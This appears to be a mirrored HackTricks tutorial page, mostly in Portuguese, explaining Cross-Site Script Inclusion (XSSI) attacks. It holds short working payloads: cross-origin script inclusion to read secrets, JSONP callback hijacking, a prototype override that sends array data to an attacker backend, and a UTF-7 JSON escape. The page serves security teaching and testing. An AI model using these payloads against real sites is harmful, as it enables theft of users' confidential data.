mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
99 lines
7.7 KiB
Markdown
99 lines
7.7 KiB
Markdown
# XSSI (Cross-Site Script Inclusion)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
## Basic Information
|
|
|
|
**Cross-Site Script Inclusion (XSSI)** é uma vulnerabilidade que surge da natureza da tag `script` em HTML. Ao contrário da maioria dos recursos, que estão sujeitos à **Same-Origin Policy (SOP)**, scripts podem ser incluídos de diferentes domínios. Esse comportamento é destinado a facilitar o uso de bibliotecas e outros recursos hospedados em servidores diferentes, mas também introduz um risco potencial de segurança.
|
|
|
|
### Key Characteristics of **XSSI**:
|
|
- **Bypass of SOP**: Scripts estão isentos da **Same-Origin Policy**, permitindo que sejam incluídos entre domínios.
|
|
- **Data Exposure**: Um atacante pode explorar esse comportamento para ler dados carregados via a tag `script`.
|
|
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** é particularmente relevante para JavaScript dinâmico ou **JSON with Padding (JSONP)**. Essas tecnologias frequentemente usam informações de "ambient-authority" (como cookies) para autenticação. Quando uma solicitação de script é feita para um host diferente, essas credenciais (por exemplo, cookies) são automaticamente incluídas na solicitação.
|
|
- **Authentication Token Leakage**: Se um atacante conseguir enganar o navegador de um usuário para solicitar um script de um servidor que ele controla, pode ser capaz de acessar informações sensíveis contidas nessas solicitações.
|
|
|
|
### Types
|
|
|
|
1. **Static JavaScript** - Esta representa a forma convencional de XSSI.
|
|
2. **Static JavaScript with Authentication** - Este tipo é distinto porque requer autenticação para acesso.
|
|
3. **Dynamic JavaScript** - Envolve JavaScript que gera conteúdo dinamicamente.
|
|
4. **Non-JavaScript** - Refere-se a vulnerabilidades que não envolvem JavaScript diretamente.
|
|
|
|
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
|
|
|
|
|
|
### Regular XSSI
|
|
Nesta abordagem, informações privadas são incorporadas dentro de um arquivo JavaScript acessível globalmente. Os atacantes podem identificar esses arquivos usando métodos como leitura de arquivos, buscas por palavras-chave ou expressões regulares. Uma vez localizados, o script contendo informações privadas pode ser incluído em conteúdo malicioso, permitindo acesso não autorizado a dados sensíveis. Uma técnica de exploração de exemplo é mostrada abaixo:
|
|
```html
|
|
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
|
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
|
```
|
|
### Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI
|
|
Esses tipos de ataques XSSI envolvem informações confidenciais sendo adicionadas dinamicamente ao script em resposta a uma solicitação do usuário. A detecção pode ser realizada enviando solicitações com e sem cookies e comparando as respostas. Se as informações diferirem, isso pode indicar a presença de informações confidenciais. Esse processo pode ser automatizado usando ferramentas como a extensão Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
|
|
|
|
Se dados confidenciais forem armazenados em uma variável global, eles podem ser explorados usando métodos semelhantes aos utilizados no XSSI Regular. No entanto, se os dados confidenciais estiverem incluídos em uma resposta JSONP, os atacantes podem sequestrar a função de callback para recuperar as informações. Isso pode ser feito manipulando objetos globais ou configurando uma função para ser executada pela resposta JSONP, conforme demonstrado abaixo:
|
|
```html
|
|
<script>
|
|
var angular = function () { return 1; };
|
|
angular.callbacks = function () { return 1; };
|
|
angular.callbacks._7 = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
leak = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
|
```
|
|
Para variáveis que não residem no namespace global, *prototype tampering* pode às vezes ser explorado. Esta técnica aproveita o design do JavaScript, onde a interpretação do código envolve percorrer a cadeia de protótipos para localizar a propriedade chamada. Ao sobrescrever certas funções, como o `slice` de `Array`, os atacantes podem acessar e vazar variáveis não globais:
|
|
```javascript
|
|
Array.prototype.slice = function(){
|
|
// leaks ["secret1", "secret2", "secret3"]
|
|
sendToAttackerBackend(this);
|
|
};
|
|
```
|
|
Mais detalhes sobre vetores de ataque podem ser encontrados no trabalho do Pesquisador de Segurança [Sebastian Lekies](https://twitter.com/slekies), que mantém uma lista de [vetores](http://sebastian-lekies.de/leak/).
|
|
|
|
### Non-Script-XSSI
|
|
A pesquisa de Takeshi Terada introduz outra forma de XSSI, onde arquivos Non-Script, como CSV, são vazados cross-origin ao serem incluídos como fontes em uma tag `script`. Instâncias históricas de XSSI, como o ataque de Jeremiah Grossman em 2006 para ler uma lista de contatos completa do Google e o vazamento de dados JSON de Joe Walker em 2007, destacam a gravidade dessas ameaças. Além disso, Gareth Heyes descreve uma variante de ataque envolvendo JSON codificado em UTF-7 para escapar do formato JSON e executar scripts, eficaz em certos navegadores:
|
|
```javascript
|
|
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
|
```
|
|
|
|
```html
|
|
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporte o HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|